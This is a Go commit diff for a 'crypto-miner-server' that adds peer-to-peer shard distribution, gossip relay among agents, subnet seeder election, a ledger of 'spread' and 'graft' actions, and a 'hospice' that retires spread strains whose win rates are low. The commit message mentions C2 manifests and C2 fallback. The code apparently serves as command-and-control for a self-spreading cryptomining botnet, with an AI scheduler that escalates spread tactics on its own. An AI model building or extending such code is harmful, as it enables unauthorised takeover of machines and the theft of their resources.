Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
AetherForge
2026-06-07 09:24:55 -07:00
parent 588735e7e7
commit 894b7a50ae
40 changed files with 2285 additions and 1 deletions

View File

@@ -249,6 +249,12 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
if args == nil {
args = map[string]interface{}{}
}
summary, err := e.executeCommand(agentID, cmd, args)
e.recordOathForCommand(agentID, cmd, args, summary, err)
return summary, err
}
func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) {
switch cmd.Type {
case fleetai.CmdNoop:
return "noop", nil
@@ -331,6 +337,29 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "erasure:on", nil
case fleetai.CmdStrainHospice:
strainID, _ := args["strain_id"].(string)
strainID = strings.TrimSpace(strainID)
if strainID == "" && e.Hub.db != nil {
if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil {
strainID = strings.TrimSpace(ag.SpreadStrain)
if strainID == "" {
strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID))
}
}
}
if strainID == "" {
return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain")
}
reason, _ := args["reason"].(string)
if strings.TrimSpace(reason) == "" {
reason = "court L4 hospice vote"
}
rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason)
if err != nil {
return "", err
}
return "strain_hospice:" + rec.StrainID, nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err
@@ -339,6 +368,46 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
}
}
func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) {
if e == nil || e.Hub == nil || e.Hub.db == nil {
return
}
actionType := ""
switch cmd.Type {
case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane:
actionType = db.OathSpreadTierEscalation
case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin:
actionType = db.OathSpreadAttempt
default:
return
}
bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub}
_ = bridge.Record(
"ai_scheduler",
actionType,
agentID,
agentStrainFromDB(e.Hub.db, agentID),
oathOutcomeFromError(execErr),
map[string]interface{}{
"command_type": cmd.Type,
"args": args,
},
map[string]interface{}{
"command_type": cmd.Type,
"args": args,
"summary": summary,
"error": errorString(execErr),
},
)
}
func errorString(err error) string {
if err == nil {
return ""
}
return err.Error()
}
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
payload := map[string]interface{}{}
if raw, ok := args["tier_order"]; ok {

View File

@@ -6,6 +6,7 @@ import (
"strings"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
@@ -55,6 +56,11 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
if err != nil {
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathGraft, targetID, "", db.OathOutcomeFail,
map[string]string{"source_agent_id": sourceID, "target_agent_id": targetID},
map[string]interface{}{"error": err.Error()},
)
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
@@ -74,4 +80,17 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
"graft_tier": graftPolicy.GraftTier,
"strain": graftPolicy.GraftSourceStrain,
})
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathGraft, targetID, graftPolicy.GraftSourceStrain, db.OathOutcomeSuccess,
map[string]interface{}{
"source_agent_id": sourceID,
"graft_tier": graftPolicy.GraftTier,
"graft_policy": graftPolicy,
},
map[string]interface{}{
"source_agent_id": sourceID,
"graft_tier": graftPolicy.GraftTier,
"pushed": f.ws.IsAgentReachable(targetID),
},
)
}

View File

@@ -0,0 +1,102 @@
package api
import (
"encoding/json"
"log"
"crypto-miner-server/internal/atlas"
)
func (h *WSHub) handleAgentFleetTorrentGossip(senderID string, payload json.RawMessage) {
if !h.serverPolicySnapshot().FleetTorrentEnabled {
return
}
var body struct {
Records []atlas.FleetGossipRecord `json:"records"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 {
return
}
records := atlas.NormalizeFleetGossipRecords(body.Records)
if len(records) == 0 {
return
}
h.relayFleetTorrentGossip(senderID, records)
}
func (h *WSHub) relayFleetTorrentGossip(senderID string, records []atlas.FleetGossipRecord) {
out := Message{
Type: "fleet_torrent_gossip",
Payload: mustMarshal(map[string]interface{}{
"records": records,
"source_agent_id": senderID,
}),
}
h.mu.RLock()
defer h.mu.RUnlock()
for id, ac := range h.agents {
if id == senderID || ac == nil {
continue
}
if err := ac.SendJSON(out); err != nil {
log.Printf("[fleet-torrent] relay to %s: %v", id, err)
}
}
}
// subnetPrimarySeederHint elects one primary seeder per /24 when fleet torrent is enabled.
func (h *WSHub) subnetPrimarySeederHint(agentID, clientIP, role string) string {
if !h.serverPolicySnapshot().FleetTorrentEnabled {
return ""
}
if role != "seeder" {
return ""
}
subnet := subnetPrefix24(clientIP)
if subnet == "" {
return ""
}
pick := h.electSubnetPrimarySeeder(subnet)
if pick == "" {
return agentID
}
return pick
}
func (h *WSHub) electSubnetPrimarySeeder(subnet string) string {
if subnet == "" {
return ""
}
h.mu.RLock()
defer h.mu.RUnlock()
var bestID string
for id, tel := range h.agentLiveTelemetry {
role, _ := tel["fleet_role"].(string)
if role != "seeder" {
continue
}
ip := h.agentIPLocked(id)
if subnetPrefix24(ip) != subnet {
continue
}
if bestID == "" || id < bestID {
bestID = id
}
}
return bestID
}
func (h *WSHub) isSubnetPrimarySeeder(agentID, clientIP string) bool {
if agentID == "" {
return false
}
subnet := subnetPrefix24(clientIP)
if subnet == "" {
return false
}
pick := h.electSubnetPrimarySeeder(subnet)
if pick == "" {
return true
}
return pick == agentID
}

View File

@@ -0,0 +1,40 @@
package api
import (
"context"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
func TestErasureTorrentManifestEndpoint(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
store := erasure.NewShardStore()
p, _ := erasure.DefaultParams().Normalize()
payload := []byte("torrent-manifest-payload-bytes!!")
shards, _, err := erasure.Encode(payload, p)
if err != nil {
t.Fatal(err)
}
store.Put("manifest-tok", p, shards)
h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
h.BindErasureShardStore(store)
req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("token", "manifest-tok")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.ErasureTorrentManifest(rec, req)
if rec.Code != 200 {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}

View File

@@ -0,0 +1,83 @@
package api
import (
"net/http"
"strconv"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
// OathLedgerBridge records immutable rows and broadcasts dashboard WS events.
type OathLedgerBridge struct {
DB *dbpkg.Database
Hub *WSHub
}
// Record appends one oath ledger row and emits oath_ledger_event when a hub is wired.
func (b *OathLedgerBridge) Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error {
if b == nil || b.DB == nil {
return nil
}
whyHash := dbpkg.HashWhyJSON(whySource)
entry, err := b.DB.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload)
if err != nil {
return err
}
if b.Hub != nil && entry != nil {
b.Hub.BroadcastOathLedgerEvent(*entry)
}
return nil
}
// BroadcastOathLedgerEvent pushes a live oath row to dashboard clients.
func (h *WSHub) BroadcastOathLedgerEvent(entry dbpkg.OathLedgerEntry) {
if h == nil {
return
}
h.broadcastDashboard(Message{
Type: "oath_ledger_event",
Payload: mustMarshal(entry),
})
}
// GetOathLedger lists recent immutable accountability rows.
func (f *FleetHandler) GetOathLedger(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []dbpkg.OathLedgerEntry{})
return
}
limit := 100
if raw := strings.TrimSpace(r.URL.Query().Get("limit")); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
rows, err := f.db.ListOathLedger(limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []dbpkg.OathLedgerEntry{}
}
writeJSON(w, rows)
}
func agentStrainFromDB(database *dbpkg.Database, agentID string) string {
if database == nil || agentID == "" {
return ""
}
ag, err := database.GetAgent(agentID)
if err != nil || ag == nil {
return ""
}
return ag.SpreadStrain
}
func oathOutcomeFromError(err error) string {
if err != nil {
return dbpkg.OathOutcomeFail
}
return dbpkg.OathOutcomeSuccess
}

View File

@@ -0,0 +1,59 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
)
func TestGetOathLedgerLimit(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
bridge := &OathLedgerBridge{DB: database}
if err := bridge.Record("comrade", db.OathGraft, "tgt-1", "#ff00aa", db.OathOutcomeSuccess,
map[string]string{"source": "src-1"}, map[string]string{"graft_tier": "dns_txt"}); err != nil {
t.Fatal(err)
}
fh := NewFleetHandler(database, nil, nil, nil, nil, pool.Config{}, t.TempDir())
req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/oath-ledger?limit=5", nil)
rec := httptest.NewRecorder()
fh.GetOathLedger(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
}
var rows []db.OathLedgerEntry
if err := json.Unmarshal(rec.Body.Bytes(), &rows); err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].ActionType != db.OathGraft || rows[0].Actor != "comrade" {
t.Fatalf("unexpected rows: %+v", rows)
}
}
func TestOathLedgerBridgePersistsCourtRow(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
bridge := &OathLedgerBridge{DB: database, Hub: hub}
if err := bridge.Record("ai_council:judge", db.OathCourtL4Decision, "a1", "", db.OathOutcomeSuccess,
map[string]string{"verdict": "retry"}, map[string]string{"executed": "spread_now"}); err != nil {
t.Fatal(err)
}
rows, err := database.ListOathLedger(1)
if err != nil || len(rows) != 1 || rows[0].ActionType != db.OathCourtL4Decision {
t.Fatalf("db rows: %+v err=%v", rows, err)
}
}

View File

@@ -11,6 +11,8 @@ import (
"github.com/google/uuid"
"crypto-miner-server/internal/ai"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
// TimelineBranchStatus tracks ghost-branch exploration on a Path Tracer target hop.
@@ -205,9 +207,16 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
if parentID == "" {
parentID = sess.ID
}
hospice := map[string]bool{}
if h.hub != nil {
hospice = h.hub.HospiceStrainSet()
}
var spawned []*TimelineBranch
for _, persona := range normalized {
lanes := ai.PersonaSpreadTierOrder(persona)
if len(lanes) > 0 && strategy.LaneInHospice(lanes[0], hospice) {
continue
}
branch := &TimelineBranch{
ID: uuid.New().String(),
ParentID: parentID,
@@ -226,6 +235,11 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
sess.TimelineBranches = append(sess.TimelineBranches, branch)
spawned = append(spawned, branch)
}
if len(spawned) == 0 {
h.mu.Unlock()
http.Error(w, "all fork personas map to hospice strains — parent selection blocked", http.StatusConflict)
return
}
h.mu.Unlock()
h.persistSession(sess)
@@ -234,6 +248,25 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
go h.runGhostBranch(sess.ID, b)
}
h.broadcastTimelineEvent(sess, "fork", spawned[0])
if h.hub != nil && h.hub.db != nil {
why := map[string]interface{}{
"session_id": sess.ID,
"fork_hop_index": req.ForkHopIndex,
"target_agent_id": target.AgentID,
"personas": normalized,
"branches_spawned": len(spawned),
}
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
AuthUsername(r), dbpkg.OathForkMerge, target.AgentID, agentStrainFromDB(h.hub.db, target.AgentID),
dbpkg.OathOutcomePending, why,
map[string]interface{}{
"event": "fork",
"session_id": sess.ID,
"fork_hop_index": req.ForkHopIndex,
"branches_spawned": len(spawned),
},
)
}
writeJSON(w, map[string]interface{}{
"ok": true,
@@ -279,6 +312,14 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
http.Error(w, "cannot merge canonical root", http.StatusBadRequest)
return
}
if h.hub != nil && len(winner.SpreadLanes) > 0 {
hospice := h.hub.HospiceStrainSet()
if strategy.LaneInHospice(winner.SpreadLanes[0], hospice) {
h.mu.Unlock()
http.Error(w, "branch spread strain is in hospice — fork-merge parent selection blocked", http.StatusConflict)
return
}
}
if winner.Status != BranchWon && winner.Status != BranchRunning {
h.mu.Unlock()
http.Error(w, "branch must be running or won to merge", http.StatusConflict)
@@ -308,6 +349,26 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
h.mu.Unlock()
h.persistSession(sess)
h.broadcastTimelineEvent(sess, "merge", winner)
if h.hub != nil && h.hub.db != nil {
why := map[string]interface{}{
"session_id": sess.ID,
"merged_branch_id": winner.ID,
"merged_persona": winner.Persona,
"merged_spread_lane": sess.MergedSpreadLane,
"merged_hashrate": sess.MergedHashrate,
}
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
AuthUsername(r), dbpkg.OathForkMerge, winner.TargetAgentID, agentStrainFromDB(h.hub.db, winner.TargetAgentID),
dbpkg.OathOutcomeSuccess, why,
map[string]interface{}{
"event": "merge",
"session_id": sess.ID,
"merged_branch_id": winner.ID,
"merged_persona": winner.Persona,
"merged_spread_lane": sess.MergedSpreadLane,
},
)
}
writeJSON(w, map[string]interface{}{
"ok": true,

View File

@@ -591,6 +591,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)

View File

@@ -74,9 +74,21 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
if card.ID == "" {
card.ID = stored.ID
}
if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
} else if inHospice {
http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict)
return
}
result, err := f.ws.PlayStrainCard(agentID, card)
if err != nil {
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail,
map[string]interface{}{"card_id": cardID, "persona": card.Persona},
map[string]interface{}{"error": err.Error(), "card_id": cardID},
)
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
@@ -100,6 +112,22 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
"queued": result.Queued,
"transport": result.Transport,
})
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess,
map[string]interface{}{
"card_id": cardID,
"persona": card.Persona,
"root": card.RootAgentID,
},
map[string]interface{}{
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"sent": result.Sent,
"queued": result.Queued,
"transport": result.Transport,
},
)
writeJSON(w, map[string]interface{}{
"success": true,

View File

@@ -0,0 +1,250 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
type strainHospiceRequest struct {
StrainID string `json:"strain_id"`
Reason string `json:"reason,omitempty"`
}
// GetStrainHospice lists archived strains (museum read-only lineage).
func (f *FleetHandler) GetStrainHospice(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []db.StrainHospiceRecord{})
return
}
rows, err := f.db.ListStrainHospice(200)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, rows)
}
// PostStrainHospice archives a failed/low-win strain to hospice.
func (f *FleetHandler) PostStrainHospice(w http.ResponseWriter, r *http.Request) {
if f.db == nil || f.ws == nil {
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
return
}
var req strainHospiceRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
strainID := strategy.NormalizeStrainID(req.StrainID)
if strainID == "" {
http.Error(w, "strain_id is required", http.StatusBadRequest)
return
}
reason := strings.TrimSpace(req.Reason)
if reason == "" {
reason = "operator manual retirement"
}
rec, err := f.ws.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByOperator), reason)
if err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
})
return
}
_ = f.db.InsertAudit(AuthUsername(r), "strain_hospice", "", map[string]interface{}{
"strain_id": strainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
})
writeJSON(w, map[string]interface{}{
"success": true,
"strain_id": rec.StrainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
"retired_at": rec.RetiredAt,
})
}
// RetireStrainToHospice archives a strain, updates breeding cache, and emits Seer + oath ledger.
func (h *WSHub) RetireStrainToHospice(strainID, retiredBy, reason string) (*db.StrainHospiceRecord, error) {
if h == nil || h.db == nil {
return nil, errHubUnavailable
}
strainID = strategy.NormalizeStrainID(strainID)
if strainID == "" {
return nil, errStrainRequired
}
if ok, err := h.db.IsStrainInHospice(strainID); err != nil {
return nil, err
} else if ok {
rec, err := h.db.GetStrainHospice(strainID)
if err != nil {
return nil, err
}
return rec, nil
}
cardJSON, err := h.db.CardJSONForStrain(strainID)
if err != nil {
return nil, err
}
if err := h.db.RetireStrain(strainID, retiredBy, reason, cardJSON); err != nil {
return nil, err
}
rec, err := h.db.GetStrainHospice(strainID)
if err != nil {
return nil, err
}
h.refreshHospiceBreedingCache()
h.emitStrainHospiceRetirement(rec, retiredBy, reason)
log.Printf("[hospice] strain %s retired by %s: %s", strainID, retiredBy, reason)
return rec, nil
}
func (h *WSHub) refreshHospiceBreedingCache() {
if h == nil || h.db == nil || h.breedingRegistry == nil {
return
}
set, err := h.db.HospiceStrainSet()
if err != nil {
log.Printf("[hospice] breeding cache refresh: %v", err)
return
}
h.breedingRegistry.SetHospiceStrains(set)
}
func (h *WSHub) emitStrainHospiceRetirement(rec *db.StrainHospiceRecord, retiredBy, reason string) {
if rec == nil {
return
}
payload := map[string]interface{}{
"strain_id": rec.StrainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
"retired_at": rec.RetiredAt.UTC().Format("2006-01-02T15:04:05Z"),
"card_json": json.RawMessage(rec.CardJSON),
}
_ = (&OathLedgerBridge{DB: h.db, Hub: h}).Record(
retiredBy, db.OathStrainHospice, "", rec.StrainID, db.OathOutcomeSuccess,
map[string]interface{}{"reason": reason, "retired_by": rec.RetiredBy},
payload,
)
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
_ = emitter.EmitSeerEvent("strain_hospice", "", payload)
h.broadcastDashboard(Message{
Type: "strain_hospice",
Payload: mustMarshal(payload),
})
}
// HospiceStrainSet returns retired strains for topology and fork-merge guards.
func (h *WSHub) HospiceStrainSet() map[string]bool {
if h == nil || h.db == nil {
return nil
}
set, err := h.db.HospiceStrainSet()
if err != nil {
return nil
}
return set
}
// MaybeAutoRetireLowWinStrains scans epidemiology and retires chronic losers when AI control is on.
func (h *WSHub) MaybeAutoRetireLowWinStrains() {
if h == nil || h.db == nil {
return
}
policy := h.serverPolicySnapshot()
if !policy.AIControlEnabled {
return
}
threshold := policy.StrainHospiceWinRateThreshold
if threshold <= 0 {
threshold = strategy.DefaultHospiceWinRateThreshold
}
minAttempts := policy.StrainHospiceMinAttempts
if minAttempts <= 0 {
minAttempts = strategy.DefaultHospiceMinAttempts
}
hospice, _ := h.db.HospiceStrainSet()
for strainID, stats := range h.collectStrainSpreadStats() {
if hospice[strainID] {
continue
}
if !strategy.ShouldAutoRetireStrain(stats.Wins, stats.Losses, threshold, minAttempts) {
continue
}
reason := "ai auto-retire: win_rate below threshold after min attempts"
if _, err := h.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByAI), reason); err != nil {
log.Printf("[hospice] auto-retire %s: %v", strainID, err)
}
}
}
func (h *WSHub) collectStrainSpreadStats() map[string]strategy.StrainSpreadStats {
out := make(map[string]strategy.StrainSpreadStats)
if h == nil || h.db == nil {
return out
}
agents, err := h.db.ListAgents()
if err != nil {
return out
}
joinLanes := h.agentJoinLanesSnapshot()
for _, ag := range agents {
if ag == nil {
continue
}
strain := strategy.NormalizeStrainID(ag.SpreadStrain)
if strain == "" {
lane := joinLanes[ag.ID]
if lane == "" {
lane = ag.JoinLane
}
strain = strategy.StrainFromSpreadLane(lane)
}
if strain == "" {
continue
}
entry := out[strain]
entry.StrainID = strain
if ag.ParentAgentID != "" {
if ag.Status == "online" && (ag.JoinLane != "" || joinLanes[ag.ID] != "") {
entry.Wins++
} else if ag.Status == "error" || ag.Status == "offline" {
entry.Losses++
}
}
out[strain] = entry
}
cards, _ := h.db.ListStrainCards(200)
for _, c := range cards {
strain := strategy.NormalizeStrainID(c.SpreadStrain)
if strain == "" {
continue
}
entry := out[strain]
entry.StrainID = strain
var card map[string]interface{}
if json.Unmarshal([]byte(c.CardJSON), &card) == nil {
if wins, ok := card["wins"].([]interface{}); ok {
entry.Wins += len(wins)
}
if losses, ok := card["losses"].([]interface{}); ok {
entry.Losses += len(losses)
}
}
out[strain] = entry
}
return out
}
var (
errHubUnavailable = &strainCardError{"hub unavailable"}
errStrainRequired = &strainCardError{"strain_id is required"}
)